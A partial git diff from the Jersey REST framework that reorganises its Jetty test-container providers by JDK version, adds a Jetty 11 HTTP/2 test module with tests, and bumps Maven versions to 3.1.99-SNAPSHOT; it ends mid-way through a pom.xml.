@@ -16,113 +16,18 @@
package org.glassfish.jersey.test.jetty;
-import java.net.URI;
-import java.util.logging.Level;
-import java.util.logging.Logger;
-
-import jakarta.ws.rs.core.UriBuilder;
-
-import org.glassfish.jersey.client.ClientConfig;
-import org.glassfish.jersey.jetty.JettyHttpContainerFactory;
+import jakarta.ws.rs.ProcessingException;
+import org.glassfish.jersey.jetty.internal.LocalizationMessages;
import org.glassfish.jersey.test.DeploymentContext;
import org.glassfish.jersey.test.spi.TestContainer;
-import org.glassfish.jersey.test.spi.TestContainerException;
import org.glassfish.jersey.test.spi.TestContainerFactory;
-import org.glassfish.jersey.test.spi.TestHelper;
-import org.eclipse.jetty.server.Connector;
-import org.eclipse.jetty.server.Server;
-import org.eclipse.jetty.server.ServerConnector;
+import java.net.URI;
-/**
- * Factory for testing {@link org.glassfish.jersey.jetty.JettyHttpContainer}.
- *
- * @author Arul Dhesiaseelan (aruld@acm.org)
- * @author Marek Potociar
- */
public class JettyTestContainerFactory implements TestContainerFactory {
- private static class JettyTestContainer implements TestContainer {
-
- private static final Logger LOGGER = Logger.getLogger(JettyTestContainer.class.getName());
-
- private URI baseUri;
- private final Server server;
-
- private JettyTestContainer(final URI baseUri, final DeploymentContext context) {
- final URI base = UriBuilder.fromUri(baseUri).path(context.getContextPath()).build();
-
- if (!"/".equals(base.getRawPath())) {
- throw new TestContainerException(String.format(
- "Cannot deploy on %s. Jetty HTTP container only supports deployment on root path.",
- base.getRawPath()));
- }
-
- this.baseUri = base;
-
- if (LOGGER.isLoggable(Level.INFO)) {
- LOGGER.info("Creating JettyTestContainer configured at the base URI "
- + TestHelper.zeroPortToAvailablePort(baseUri));
- }
-
- this.server = JettyHttpContainerFactory.createServer(this.baseUri, context.getResourceConfig(), false);
- }
-
- @Override
- public ClientConfig getClientConfig() {
- return null;
- }
-
- @Override
- public URI getBaseUri() {
- return baseUri;
- }
-
- @Override
- public void start() {
- if (server.isStarted()) {
- LOGGER.log(Level.WARNING, "Ignoring start request - JettyTestContainer is already started.");
- } else {
- LOGGER.log(Level.FINE, "Starting JettyTestContainer...");
- try {
- server.start();
-
- if (baseUri.getPort() == 0) {
- int port = 0;
- for (final Connector connector : server.getConnectors()) {
- if (connector instanceof ServerConnector) {
- port = ((ServerConnector) connector).getLocalPort();
- break;
- }
- }
-
- baseUri = UriBuilder.fromUri(baseUri).port(port).build();
-
- LOGGER.log(Level.INFO, "Started JettyTestContainer at the base URI " + baseUri);
- }
- } catch (Exception e) {
- throw new TestContainerException(e);
- }
- }
- }
-
- @Override
- public void stop() {
- if (server.isStarted()) {
- LOGGER.log(Level.FINE, "Stopping JettyTestContainer...");
- try {
- this.server.stop();
- } catch (Exception ex) {
- LOGGER.log(Level.WARNING, "Error Stopping JettyTestContainer...", ex);
- }
- } else {
- LOGGER.log(Level.WARNING, "Ignoring stop request - JettyTestContainer is already stopped.");
- }
- }
- }
-
@Override
public TestContainer create(final URI baseUri, final DeploymentContext context) throws IllegalArgumentException {
- return new JettyTestContainer(baseUri, context);
+ throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
}
}
diff --git a/test-framework/providers/jetty/src/main/java17/org/glassfish/jersey/test/jetty/JettyTestContainerFactory.java b/test-framework/providers/jetty/src/main/java17/org/glassfish/jersey/test/jetty/JettyTestContainerFactory.java
new file mode 100644
index 0000000..de1ba2c
--- /dev/null
+++ b/test-framework/providers/jetty/src/main/java17/org/glassfish/jersey/test/jetty/JettyTestContainerFactory.java
@@ -0,0 +1,128 @@
+/*
+ * Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.test.jetty;
+
+import java.net.URI;
+import java.util.logging.Level;
+import java.util.logging.Logger;
+
+import jakarta.ws.rs.core.UriBuilder;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.jetty.JettyHttpContainerFactory;
+import org.glassfish.jersey.test.DeploymentContext;
+import org.glassfish.jersey.test.spi.TestContainer;
+import org.glassfish.jersey.test.spi.TestContainerException;
+import org.glassfish.jersey.test.spi.TestContainerFactory;
+import org.glassfish.jersey.test.spi.TestHelper;
+
+import org.eclipse.jetty.server.Connector;
+import org.eclipse.jetty.server.Server;
+import org.eclipse.jetty.server.ServerConnector;
+
+/**
+ * Factory for testing {@link org.glassfish.jersey.jetty.JettyHttpContainer}.
+ *
+ * @author Arul Dhesiaseelan (aruld@acm.org)
+ * @author Marek Potociar
+ */
+public class JettyTestContainerFactory implements TestContainerFactory {
+
+ private static class JettyTestContainer implements TestContainer {
+
+ private static final Logger LOGGER = Logger.getLogger(JettyTestContainer.class.getName());
+
+ private URI baseUri;
+ private final Server server;
+
+ private JettyTestContainer(final URI baseUri, final DeploymentContext context) {
+ final URI base = UriBuilder.fromUri(baseUri).path(context.getContextPath()).build();
+
+ if (!"/".equals(base.getRawPath())) {
+ throw new TestContainerException(String.format(
+ "Cannot deploy on %s. Jetty HTTP container only supports deployment on root path.",
+ base.getRawPath()));
+ }
+
+ this.baseUri = base;
+
+ if (LOGGER.isLoggable(Level.INFO)) {
+ LOGGER.info("Creating JettyTestContainer configured at the base URI "
+ + TestHelper.zeroPortToAvailablePort(baseUri));
+ }
+
+ this.server = JettyHttpContainerFactory.createServer(this.baseUri, context.getResourceConfig(), false);
+ }
+
+ @Override
+ public ClientConfig getClientConfig() {
+ return null;
+ }
+
+ @Override
+ public URI getBaseUri() {
+ return baseUri;
+ }
+
+ @Override
+ public void start() {
+ if (server.isStarted()) {
+ LOGGER.log(Level.WARNING, "Ignoring start request - JettyTestContainer is already started.");
+ } else {
+ LOGGER.log(Level.FINE, "Starting JettyTestContainer...");
+ try {
+ server.start();
+
+ if (baseUri.getPort() == 0) {
+ int port = 0;
+ for (final Connector connector : server.getConnectors()) {
+ if (connector instanceof ServerConnector) {
+ port = ((ServerConnector) connector).getLocalPort();
+ break;
+ }
+ }
+
+ baseUri = UriBuilder.fromUri(baseUri).port(port).build();
+
+ LOGGER.log(Level.INFO, "Started JettyTestContainer at the base URI " + baseUri);
+ }
+ } catch (Exception e) {
+ throw new TestContainerException(e);
+ }
+ }
+ }
+
+ @Override
+ public void stop() {
+ if (server.isStarted()) {
+ LOGGER.log(Level.FINE, "Stopping JettyTestContainer...");
+ try {
+ this.server.stop();
+ } catch (Exception ex) {
+ LOGGER.log(Level.WARNING, "Error Stopping JettyTestContainer...", ex);
+ }
+ } else {
+ LOGGER.log(Level.WARNING, "Ignoring stop request - JettyTestContainer is already stopped.");
+ }
+ }
+ }
+
+ @Override
+ public TestContainer create(final URI baseUri, final DeploymentContext context) throws IllegalArgumentException {
+ return new JettyTestContainer(baseUri, context);
+ }
+}
diff --git a/test-framework/providers/jetty/src/main/java8/org/glassfish/jersey/test/jetty/JettyTestContainerFactory.java b/test-framework/providers/jetty/src/main/java8/org/glassfish/jersey/test/jetty/JettyTestContainerFactory.java
deleted file mode 100644
index cd2e332..0000000
--- a/test-framework/providers/jetty/src/main/java8/org/glassfish/jersey/test/jetty/JettyTestContainerFactory.java
+++ /dev/null
@@ -1,38 +0,0 @@
-/*
- * Copyright (c) 2020 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.test.jetty;
-
-import jakarta.ws.rs.ProcessingException;
-import org.glassfish.jersey.jetty.internal.LocalizationMessages;
-import org.glassfish.jersey.test.DeploymentContext;
-import org.glassfish.jersey.test.spi.TestContainer;
-import org.glassfish.jersey.test.spi.TestContainerFactory;
-
-import java.net.URI;
-
-/**
- * Jetty test factory stub for JDK 1.8 only
- *
- * since Jetty 11+ does not support JDKs below 11
- */
-public class JettyTestContainerFactory implements TestContainerFactory {
-
- @Override
- public TestContainer create(final URI baseUri, final DeploymentContext context) throws IllegalArgumentException {
- throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
- }
-}
diff --git a/test-framework/providers/jetty/src/main/resources/org/glassfish/jersey/jetty/internal/localization.properties b/test-framework/providers/jetty/src/main/resources/org/glassfish/jersey/jetty/internal/localization.properties
index c362bf0..6504f0e 100644
--- a/test-framework/providers/jetty/src/main/resources/org/glassfish/jersey/jetty/internal/localization.properties
+++ b/test-framework/providers/jetty/src/main/resources/org/glassfish/jersey/jetty/internal/localization.properties
@@ -1,5 +1,5 @@
#
-# Copyright (c) 2020 Oracle and/or its affiliates. All rights reserved.
+# Copyright (c) 2020, 2023 Oracle and/or its affiliates. All rights reserved.
#
# This program and the accompanying materials are made available under the
# terms of the Eclipse Public License v. 2.0, which is available at
@@ -15,4 +15,4 @@
#
# {0} - status code; {1} - status reason message
-not.supported=Jetty container is not supported on JDK version less than 11.
+not.supported=Jetty container is not supported on JDK version less than 17.
diff --git a/test-framework/providers/jetty11-http2/pom.xml b/test-framework/providers/jetty11-http2/pom.xml
new file mode 100644
index 0000000..ed1cf22
--- /dev/null
+++ b/test-framework/providers/jetty11-http2/pom.xml
@@ -0,0 +1,46 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+
+ Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+
+ This program and the accompanying materials are made available under the
+ terms of the Eclipse Public License v. 2.0, which is available at
+ http://www.eclipse.org/legal/epl-2.0.
+
+ This Source Code may also be made available under the following Secondary
+ Licenses when the conditions for such availability set forth in the
+ Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ version 2 with the GNU Classpath Exception, which is available at
+ https://www.gnu.org/software/classpath/license.html.
+
+ SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+
+-->
+
+<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
+ <parent>
+ <artifactId>project</artifactId>
+ <groupId>org.glassfish.jersey.test-framework.providers</groupId>
+ <version>3.1.99-SNAPSHOT</version>
+ </parent>
+ <modelVersion>4.0.0</modelVersion>
+
+ <artifactId>jersey-test-framework-provider-jetty-http2</artifactId>
+ <packaging>jar</packaging>
+ <name>jersey-test-framework-provider-jetty-http2</name>
+
+ <description>Jersey Test Framework - Jetty HTTP2 container</description>
+
+ <dependencies>
+ <dependency>
+ <groupId>org.glassfish.jersey.test-framework</groupId>
+ <artifactId>jersey-test-framework-core</artifactId>
+ <version>${project.version}</version>
+ </dependency>
+ <dependency>
+ <groupId>org.glassfish.jersey.containers</groupId>
+ <artifactId>jersey-container-jetty-http2</artifactId>
+ <version>${project.version}</version>
+ </dependency>
+ </dependencies>
+</project>
\ No newline at end of file
diff --git a/test-framework/providers/jetty11-http2/src/main/java/org/glassfish/jersey/test/jetty11/http2/Jetty11Http2TestContainerFactory.java b/test-framework/providers/jetty11-http2/src/main/java/org/glassfish/jersey/test/jetty11/http2/Jetty11Http2TestContainerFactory.java
new file mode 100644
index 0000000..867db08
--- /dev/null
+++ b/test-framework/providers/jetty11-http2/src/main/java/org/glassfish/jersey/test/jetty11/http2/Jetty11Http2TestContainerFactory.java
@@ -0,0 +1,126 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.test.jetty11.http2;
+
+import java.net.URI;
+import java.util.logging.Level;
+import java.util.logging.Logger;
+
+import jakarta.ws.rs.core.UriBuilder;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.jetty.http2.Jetty11Http2ContainerFactory;
+import org.glassfish.jersey.test.DeploymentContext;
+import org.glassfish.jersey.test.spi.TestContainer;
+import org.glassfish.jersey.test.spi.TestContainerException;
+import org.glassfish.jersey.test.spi.TestContainerFactory;
+import org.glassfish.jersey.test.spi.TestHelper;
+
+import org.eclipse.jetty.server.Connector;
+import org.eclipse.jetty.server.Server;
+import org.eclipse.jetty.server.ServerConnector;
+
+/**
+ * Factory for testing {@link Jetty11Http2ContainerFactory}.
+ *
+ */
+public final class Jetty11Http2TestContainerFactory implements TestContainerFactory {
+
+ private static class JettyHttp2TestContainer implements TestContainer {
+
+ private static final Logger LOGGER = Logger.getLogger(JettyHttp2TestContainer.class.getName());
+
+ private URI baseUri;
+ private final Server server;
+
+ private JettyHttp2TestContainer(final URI baseUri, final DeploymentContext context) {
+ final URI base = UriBuilder.fromUri(baseUri).path(context.getContextPath()).build();
+
+ if (!"/".equals(base.getRawPath())) {
+ throw new TestContainerException(String.format(
+ "Cannot deploy on %s. Jetty HTTP2 container only supports deployment on root path.",
+ base.getRawPath()));
+ }
+
+ this.baseUri = base;
+
+ if (LOGGER.isLoggable(Level.INFO)) {
+ LOGGER.info("Creating JettyHttp2TestContainer configured at the base URI "
+ + TestHelper.zeroPortToAvailablePort(baseUri));
+ }
+
+ this.server = Jetty11Http2ContainerFactory.createHttp2Server(this.baseUri, context.getResourceConfig(), false);
+ }
+
+ @Override
+ public ClientConfig getClientConfig() {
+ return null;
+ }
+
+ @Override
+ public URI getBaseUri() {
+ return baseUri;
+ }
+
+ @Override
+ public void start() {
+ if (server.isStarted()) {
+ LOGGER.log(Level.WARNING, "Ignoring start request - JettyHttp2TestContainer is already started.");
+ } else {
+ LOGGER.log(Level.FINE, "Starting JettyHttp2TestContainer...");
+ try {
+ server.start();
+
+ if (baseUri.getPort() == 0) {
+ int port = 0;
+ for (final Connector connector : server.getConnectors()) {
+ if (connector instanceof ServerConnector) {
+ port = ((ServerConnector) connector).getLocalPort();
+ break;
+ }
+ }
+
+ baseUri = UriBuilder.fromUri(baseUri).port(port).build();
+
+ LOGGER.log(Level.INFO, "Started JettyHttp2TestContainer at the base URI " + baseUri);
+ }
+ } catch (Exception e) {
+ throw new TestContainerException(e);
+ }
+ }
+ }
+
+ @Override
+ public void stop() {
+ if (server.isStarted()) {
+ LOGGER.log(Level.FINE, "Stopping JettyHttp2TestContainer...");
+ try {
+ this.server.stop();
+ } catch (Exception ex) {
+ LOGGER.log(Level.WARNING, "Error Stopping JettyHttp2TestContainer...", ex);
+ }
+ } else {
+ LOGGER.log(Level.WARNING, "Ignoring stop request - JettyHttp2TestContainer is already stopped.");
+ }
+ }
+ }
+
+ @Override
+ public TestContainer create(final URI baseUri, final DeploymentContext context) throws IllegalArgumentException {
+ return new JettyHttp2TestContainer(baseUri, context);
+ }
+}
diff --git a/core-common/src/main/java8/org/glassfish/jersey/internal/jsr166/JerseyFlowSubscriber.java b/test-framework/providers/jetty11-http2/src/main/java/org/glassfish/jersey/test/jetty11/http2/package-info.java
similarity index 77%
rename from core-common/src/main/java8/org/glassfish/jersey/internal/jsr166/JerseyFlowSubscriber.java
rename to test-framework/providers/jetty11-http2/src/main/java/org/glassfish/jersey/test/jetty11/http2/package-info.java
index dd25372..0fdbe9d 100644
--- a/core-common/src/main/java8/org/glassfish/jersey/internal/jsr166/JerseyFlowSubscriber.java
+++ b/test-framework/providers/jetty11-http2/src/main/java/org/glassfish/jersey/test/jetty11/http2/package-info.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
@@ -14,7 +14,7 @@
* SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
*/
-package org.glassfish.jersey.internal.jsr166;
-
-public interface JerseyFlowSubscriber<T> extends Flow.Subscriber<T> {
-}
+/**
+ * Jersey test framework for Jetty 11 HTTP/2 Container.
+ */
+package org.glassfish.jersey.test.jetty11.http2;
diff --git a/test-framework/providers/jetty11-http2/src/main/resources/META-INF/services/org.glassfish.jersey.test.spi.TestContainerFactory b/test-framework/providers/jetty11-http2/src/main/resources/META-INF/services/org.glassfish.jersey.test.spi.TestContainerFactory
new file mode 100644
index 0000000..0edcf72
--- /dev/null
+++ b/test-framework/providers/jetty11-http2/src/main/resources/META-INF/services/org.glassfish.jersey.test.spi.TestContainerFactory
@@ -0,0 +1 @@
+org.glassfish.jersey.test.jetty11.http2.Jetty11Http2TestContainerFactory
diff --git a/test-framework/providers/jetty-http2/src/main/resources/org/glassfish/jersey/test/jetty/http2/localization.properties b/test-framework/providers/jetty11-http2/src/main/resources/org/glassfish/jersey/test/jetty11/http2/localization.properties
similarity index 98%
copy from test-framework/providers/jetty-http2/src/main/resources/org/glassfish/jersey/test/jetty/http2/localization.properties
copy to test-framework/providers/jetty11-http2/src/main/resources/org/glassfish/jersey/test/jetty11/http2/localization.properties
index 2886c72..f10b03c 100644
--- a/test-framework/providers/jetty-http2/src/main/resources/org/glassfish/jersey/test/jetty/http2/localization.properties
+++ b/test-framework/providers/jetty11-http2/src/main/resources/org/glassfish/jersey/test/jetty11/http2/localization.properties
@@ -15,4 +15,4 @@
#
# {0} - status code; {1} - status reason message
-not.supported=Jetty container is not supported on JDK version less than 11.
+not.supported=Jetty container is not supported on JDK version less than 17.
diff --git a/test-framework/providers/jetty11-http2/src/test/java/org/glassfish/jersey/test/jetty11/http2/AvailablePortJetty11Test.java b/test-framework/providers/jetty11-http2/src/test/java/org/glassfish/jersey/test/jetty11/http2/AvailablePortJetty11Test.java
new file mode 100644
index 0000000..ac93ccb
--- /dev/null
+++ b/test-framework/providers/jetty11-http2/src/test/java/org/glassfish/jersey/test/jetty11/http2/AvailablePortJetty11Test.java
@@ -0,0 +1,66 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.test.jetty11.http2;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.Path;
+
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.DeploymentContext;
+import org.glassfish.jersey.test.JerseyTest;
+import org.glassfish.jersey.test.TestProperties;
+import org.glassfish.jersey.test.spi.TestContainerFactory;
+
+import org.junit.jupiter.api.Test;
+import static org.hamcrest.CoreMatchers.equalTo;
+import static org.hamcrest.CoreMatchers.not;
+import static org.hamcrest.MatcherAssert.assertThat;
+
+/**
+ * Tests finding an available port for container.
+ *
+ */
+public class AvailablePortJetty11Test extends JerseyTest {
+
+ @Override
+ protected TestContainerFactory getTestContainerFactory() {
+ return new Jetty11Http2TestContainerFactory();
+ }
+
+ @Path("AvailablePortJettyTest")
+ public static class TestResource {
+ @GET
+ public String get() {
+ return "GET";
+ }
+ }
+
+ @Override
+ protected DeploymentContext configureDeployment() {
+ forceSet(TestProperties.CONTAINER_PORT, "0");
+
+ return DeploymentContext.builder(new ResourceConfig(TestResource.class)).build();
+ }
+
+ @Test
+ public void testGet() {
+ assertThat(target().getUri().getPort(), not(0));
+ assertThat(getBaseUri().getPort(), not(0));
+
+ assertThat(target("AvailablePortJettyTest").request().get(String.class), equalTo("GET"));
+ }
+}
diff --git a/test-framework/providers/jetty11-http2/src/test/java/org/glassfish/jersey/test/jetty11/http2/Jetty11ContainerTest.java b/test-framework/providers/jetty11-http2/src/test/java/org/glassfish/jersey/test/jetty11/http2/Jetty11ContainerTest.java
new file mode 100644
index 0000000..0ec4c06
--- /dev/null
+++ b/test-framework/providers/jetty11-http2/src/test/java/org/glassfish/jersey/test/jetty11/http2/Jetty11ContainerTest.java
@@ -0,0 +1,119 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.test.jetty11.http2;
+
+import java.net.URI;
+import java.util.List;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.core.Response;
+
+import org.glassfish.jersey.inject.hk2.DelayedHk2InjectionManager;
+import org.glassfish.jersey.inject.hk2.ImmediateHk2InjectionManager;
+import org.glassfish.jersey.internal.inject.InjectionManager;
+import org.glassfish.jersey.jetty.http2.Jetty11Http2ContainerFactory;
+import org.glassfish.jersey.jetty.Jetty11HttpContainer;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+
+import org.glassfish.hk2.api.ServiceLocator;
+
+import org.jvnet.hk2.internal.ServiceLocatorImpl;
+
+import org.eclipse.jetty.server.Server;
+import org.junit.jupiter.api.Test;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+
+/**
+ * Test class for {@link Jetty11HttpContainer}.
+ *
+ */
+public class Jetty11ContainerTest extends JerseyTest {
+
+ /**
+ * Creates new instance.
+ */
+ public Jetty11ContainerTest() {
+ super(new Jetty11Http2TestContainerFactory());
+ }
+
+ @Override
+ protected ResourceConfig configure() {
+ return new ResourceConfig(Resource.class);
+ }
+
+ /**
+ * Test resource class.
+ */
+ @Path("one")
+ public static class Resource {
+
+ /**
+ * Test resource method.
+ *
+ * @return Test simple string response.
+ */
+ @GET
+ public String getSomething() {
+ return "get";
+ }
+ }
+
+ @Test
+ /**
+ * Test {@link Server Jetty Server} container.
+ */
+ public void testJettyContainerTarget() {
+ final Response response = target().path("one").request().get();
+
+ assertEquals(200, response.getStatus(), "Response status unexpected.");
+ assertEquals("get", response.readEntity(String.class), "Response entity unexpected.");
+ }
+
+ /**
+ * Test that defined ServiceLocator becomes a parent of the newly created service locator.
+ */
+ @Test
+ public void testParentServiceLocator() {
+ final ServiceLocator locator = new ServiceLocatorImpl("MyServiceLocator", null);
+ final Server server = Jetty11Http2ContainerFactory.createHttp2Server(URI.create("http://localhost:9876"),
+ new ResourceConfig(Resource.class), false, locator);
+ final Jetty11HttpContainer container = (Jetty11HttpContainer) server.getHandler();
+ final InjectionManager injectionManager = container.getApplicationHandler().getInjectionManager();
+
+ ServiceLocator serviceLocator;
+ if (injectionManager instanceof ImmediateHk2InjectionManager) {
+ serviceLocator = ((ImmediateHk2InjectionManager) injectionManager).getServiceLocator();
+ } else if (injectionManager instanceof DelayedHk2InjectionManager) {
+ serviceLocator = ((DelayedHk2InjectionManager) injectionManager).getServiceLocator();
+ } else {
+ throw new RuntimeException("Invalid Hk2 InjectionManager");
+ }
+ assertTrue(serviceLocator.getParent() == locator,
+ "Application injection manager was expected to have defined parent locator");
+ }
+ @Test
+ public void testHttp2Container() {
+ final ServiceLocator locator = new ServiceLocatorImpl("MyServiceLocator", null);
+ final Server server = Jetty11Http2ContainerFactory.createHttp2Server(URI.create("http://localhost:9876"),
+ new ResourceConfig(Resource.class), true, locator);
+ final List<String> protocols = server.getConnectors()[0].getProtocols();
+ assertTrue(protocols.contains("h2") || protocols.contains("h2c"));
+ }
+}
diff --git a/test-framework/providers/netty/pom.xml b/test-framework/providers/netty/pom.xml
index 0e439ec..04fc3d0 100644
--- a/test-framework/providers/netty/pom.xml
+++ b/test-framework/providers/netty/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.test-framework.providers</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>jersey-test-framework-provider-netty</artifactId>
diff --git a/test-framework/providers/pom.xml b/test-framework/providers/pom.xml
index 564a4ac..1bb01c3 100644
--- a/test-framework/providers/pom.xml
+++ b/test-framework/providers/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.test-framework</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<groupId>org.glassfish.jersey.test-framework.providers</groupId>
diff --git a/test-framework/providers/simple/pom.xml b/test-framework/providers/simple/pom.xml
index bbb9e13..b7e0d8d 100644
--- a/test-framework/providers/simple/pom.xml
+++ b/test-framework/providers/simple/pom.xml
@@ -21,7 +21,7 @@
<parent>
<artifactId>project</artifactId>
<groupId>org.glassfish.jersey.test-framework.providers</groupId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<modelVersion>4.0.0</modelVersion>
diff --git a/test-framework/util/pom.xml b/test-framework/util/pom.xml
index b0adcad..d3c30fc 100644
--- a/test-framework/util/pom.xml
+++ b/test-framework/util/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.test-framework</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>jersey-test-framework-util</artifactId>
diff --git a/tests/e2e-client/pom.xml b/tests/e2e-client/pom.xml
index cfc06ae..14f07f8 100644
--- a/tests/e2e-client/pom.xml
+++ b/tests/e2e-client/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.tests</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>e2e-client</artifactId>
@@ -75,6 +75,12 @@
<artifactId>jersey-test-framework-provider-bundle</artifactId>
<type>pom</type>
<scope>test</scope>
+ <exclusions>
+ <exclusion>
+ <groupId>org.glassfish.jersey.test-framework.providers</groupId>
+ <artifactId>jersey-test-framework-provider-jetty</artifactId>
+ </exclusion>
+ </exclusions>
</dependency>
<dependency>
<groupId>jakarta.annotation</groupId>
@@ -108,20 +114,10 @@
</dependency>
<dependency>
<groupId>org.glassfish.jersey.ext</groupId>
- <artifactId>jersey-bean-validation</artifactId>
- <scope>test</scope>
- </dependency>
- <dependency>
- <groupId>org.glassfish.jersey.ext</groupId>
<artifactId>jersey-entity-filtering</artifactId>
<scope>test</scope>
</dependency>
<dependency>
- <groupId>org.glassfish.jersey.ext</groupId>
- <artifactId>jersey-mvc-bean-validation</artifactId>
- <scope>test</scope>
- </dependency>
- <dependency>
<groupId>org.glassfish.jersey.media</groupId>
<artifactId>jersey-media-sse</artifactId>
<scope>test</scope>
@@ -148,12 +144,12 @@
</dependency>
<dependency>
<groupId>org.glassfish.jersey.connectors</groupId>
- <artifactId>jersey-jdk-connector</artifactId>
+ <artifactId>jersey-jnh-connector</artifactId>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.glassfish.jersey.connectors</groupId>
- <artifactId>jersey-jetty-connector</artifactId>
+ <artifactId>jersey-jdk-connector</artifactId>
<scope>test</scope>
</dependency>
<dependency>
@@ -222,10 +218,91 @@
<profiles>
<profile>
- <id>JettyTestExclude</id>
+ <id>Jetty12Default</id>
<activation>
- <jdk>1.8</jdk>
+ <jdk>[17,)</jdk>
</activation>
+ <dependencies>
+ <dependency>
+ <groupId>org.glassfish.jersey.connectors</groupId>
+ <artifactId>jersey-jetty-connector</artifactId>
+ <scope>test</scope>
+ </dependency>
+ <dependency>
+ <groupId>org.glassfish.jersey.test-framework.providers</groupId>
+ <artifactId>jersey-test-framework-provider-jetty</artifactId>
+ </dependency>
+ </dependencies>
+ </profile>
+ <profile>
+ <id>Jetty11JDK11</id>
+ <activation>
+ <jdk>[11,17)</jdk>
+ </activation>
+ <dependencies>
+ <dependency>
+ <groupId>org.glassfish.jersey.connectors</groupId>
+ <artifactId>jersey-jetty11-connector</artifactId>
+ <scope>test</scope>
+ </dependency>
+ <dependency>
+ <groupId>org.eclipse.jetty</groupId>
+ <artifactId>jetty-client</artifactId>
+ <version>${jetty11.version}</version>
+ <exclusions>
+ <exclusion>
+ <groupId>org.slf4j</groupId>
